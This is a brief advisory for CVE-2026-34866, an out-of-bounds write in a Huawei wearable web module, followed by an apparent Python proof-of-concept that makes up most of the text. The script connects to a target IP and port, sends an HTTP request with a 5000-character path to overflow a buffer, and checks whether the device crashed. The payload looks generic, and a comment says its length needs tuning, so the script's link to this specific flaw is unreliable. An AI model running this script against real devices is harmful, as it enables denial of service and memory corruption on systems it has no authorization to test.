Out-of-bounds write vulnerability in the WEB module.Impact: Successful exploitation of this vulnerability will affect availability and confidentiality.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-34866 (Out-of-bounds write in Huawei Wearable Web Module)
import socket
import sys
def trigger_vulnerability(target_ip, target_port):
"""
Sends a crafted payload to the web module to trigger the out-of-bounds write.
"""
try:
# Establish connection to the target web service
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# Crafted payload designed to exceed buffer boundaries in the web module
# Adjust the payload length based on specific fuzzing results
payload = b"GET /" + b"A" * 5000 + b" HTTP/1.1\r\n"
payload += b"Host: " + target_ip.encode() + b"\r\n"
payload += b"User-Agent: PoC-CVE-2026-34866\r\n\r\n"
print(f"[+] Sending payload to {target_ip}:{target_port}...")
s.send(payload)
# Receive response (or lack thereof indicating a crash)
response = s.recv(1024)
if not response:
print("[+] Target may have crashed (Availability Impact).")
else:
print("[*] Target responded. Check logs for memory corruption.")
s.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 poc.py <IP> <PORT>")
sys.exit(1)
trigger_vulnerability(sys.argv[1], int(sys.argv[2]))